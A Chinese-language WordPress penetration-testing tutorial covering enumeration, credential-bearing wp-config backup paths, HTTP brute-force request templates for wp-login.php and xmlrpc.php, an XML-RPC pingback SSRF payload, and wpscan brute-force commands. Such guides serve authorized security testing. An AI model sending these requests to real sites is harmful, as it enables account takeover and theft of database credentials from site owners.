当渗透测试遇到WordPress
字数 3208 2025-10-14 00:33:59
WordPress渗透测试权威指南
一、 前言
WordPress作为全球最流行的内容管理系统(CMS),因其广泛的使用而成为渗透测试中的常见目标。本指南旨在系统化地阐述当渗透测试遇到WordPress站点时的完整测试流程、关键信息收集方法、常见攻击向量以及自动化工具的使用。
二、 信息收集与枚举
信息收集是渗透测试成功的基础。对于WordPress,需要重点关注以下几个方面:
1. 核心版本识别
- 方法一(Feed): 访问
https://target.com/feed或https://target.com/?feed=rss2,查看页面源代码,通常包含生成Feed的WordPress版本信息。 - 方法二(其他文件): 检查诸如
readme.html、wp-includes/version.php等文件,但这些文件可能被管理员移除。
2. 插件与主题枚举
- 插件版本信息: 插件目录下的
readme.txt文件是版本信息的主要来源。尝试访问以下路径(PLUGINNAME替换为具体插件名):/wp-content/plugins/PLUGINNAME/readme.txt/wp-content/plugins/PLUGINNAME/readme.TXT/wp-content/plugins/PLUGINNAME/README.txt/wp-content/plugins/PLUGINNAME/README.TXT
- 主题版本信息: 主题的
style.css文件头部通常包含版本信息。/wp-content/themes/THEMENAME/style.css- 同样可以检查主题目录下的
readme.txt文件。
3. 用户枚举
- 方法一(作者参数): 访问
https://target.com/?author=1。系统通常会重定向到作者文章页面,URL中会暴露用户名(如https://target.com/author/username/)。 - 方法二(REST API): WordPress的REST API可能会暴露用户信息。
https://target.com/wp-json/wp/v2/usershttps://target.com/?rest_route=/wp/v2/users
4. 敏感文件与备份查找
- 配置文件(wp-config.php)备份: 该文件包含数据库凭据等核心敏感信息。查找其备份或临时文件:
/.wp-config.php.swp(Vim备份文件)/wp-config.php.bak/wp-config.php.old/wp-config.php.save/wp-config.php.dist/wp-config.txt/wp-config.php~
- 调试日志: 如果启用了调试模式,可能会存在日志文件,其中包含敏感信息。
/wp-content/debug.log
- 注册功能: 检查是否开放用户注册,这可能是一个攻击入口。
https://target.com/wp-login.php?action=register
三、 漏洞利用与攻击手法
1. 密码爆破
- 目标接口: 后台登录接口 (
/wp-login.php) 或 XML-RPC 接口 (/xmlrpc.php)。 - 针对
/wp-login.php的POST请求示例:POST /wp-login.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded log=admin&pwd=[密码字典]&wp-submit=Log+In&redirect_to=https%3A%2F%2Ftarget.com%2Fwp-admin%2F&testcookie=1 - 针对
/xmlrpc.php的POST请求示例(效率更高,可绕过某些登录限制):POST /xmlrpc.php HTTP/1.1 Host: target.com Content-Type: application/xml <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param><value>admin</value></param> <param><value>[密码字典]</value></param> </params> </methodCall>- 如果凭证正确,响应中会包含博客信息;错误则返回403错误。
2. 服务器端请求伪造(SSRF)
- 利用接口: XML-RPC 接口的
pingback.ping方法。 - 攻击载荷示例:
POST /xmlrpc.php HTTP/1.1 Host: target.com Content-Type: application/xml <methodCall> <methodName>pingback.ping</methodName> <params> <param><value><string>http://[你的IP]:[你的端口]</string></value></param> <param><value><string>https://target.com></string></value></param> </params> </methodCall>- 如果漏洞存在,目标服务器会向你指定的IP和端口发起HTTP请求。
3. 已知漏洞(CVE)利用
- 漏洞库: 访问
https://wpscan.com查询核心、插件和主题的已知漏洞。- WordPress核心漏洞列表:
https://wpscan.com/wordpresses/ - 插件漏洞列表:
https://wpscan.com/plugins/
- WordPress核心漏洞列表:
- 利用流程:
- 通过信息收集获取插件/主题名称和版本(例如:
wp-file-manager版本6.0)。 - 在WPScan数据库中搜索该插件(例如:
https://wpscan.com/plugin/wp-file-manager/)。 - 查找影响该版本的公开漏洞(例如:著名的
wp-file-manager插件RCE漏洞 CVE-2020-25213)。 - 根据找到的漏洞详情和公开的Expolit进行测试。
- 通过信息收集获取插件/主题名称和版本(例如:
四、 自动化工具辅助
1. WPScan
WPScan是专为WordPress安全审计设计的黑盒扫描器,内嵌了漏洞数据库。
- 基本扫描:
wpscan --url http://target.com/ - 枚举功能:
- 枚举用户:
wpscan --url http://target.com/ --enumerate u - 枚举插件:
wpscan --url http://target.com/ --enumerate p - 枚举主题:
wpscan --url http://target.com/ --enumerate t - 枚举Timthumb(易受攻击的脚本):
wpscan --url http://target.com/ --enumerate tt
- 枚举用户:
- 密码爆破:
wpscan --url http://target.com/ --wordlist /path/to/password.txt --username admin
2. Nuclei
Nuclei是一个基于模板的快速漏洞扫描器,拥有大量社区维护的WordPress相关检测模板。
- 基本使用:
nuclei -u https://target.com/ - 针对性扫描: 可以指定只运行WordPress相关的模板,提高效率。
五、 关键点总结与备忘清单
| 类别 | 关键路径/方法 | 目的 |
|---|---|---|
| 信息收集 | /?author=1, /wp-json/wp/v2/users |
枚举用户名 |
/wp-content/plugins/PLUGINNAME/readme.txt |
获取插件版本 | |
/wp-content/themes/THEMENAME/style.css |
获取主题版本 | |
/.wp-config.php.bak, /.wp-config.php.swp 等 |
查找配置文件备份 | |
/wp-content/debug.log |
查找调试日志 | |
| 攻击面 | /wp-login.php |
后台登录、密码爆破 |
/xmlrpc.php |
密码爆破、SSRF | |
?action=register |
检查用户注册功能 | |
| 漏洞研究 | https://wpscan.com/ |
查询WordPress核心、插件、主题的CVE漏洞 |
| 工具使用 | wpscan --url ... --enumerate u,p,t |
自动化枚举 |
nuclei -u ... |
快速漏洞检测 |
重要提醒: 所有渗透测试活动都必须在获得明确授权的前提下进行,并严格遵守相关法律法规。本指南仅用于安全教学和研究目的。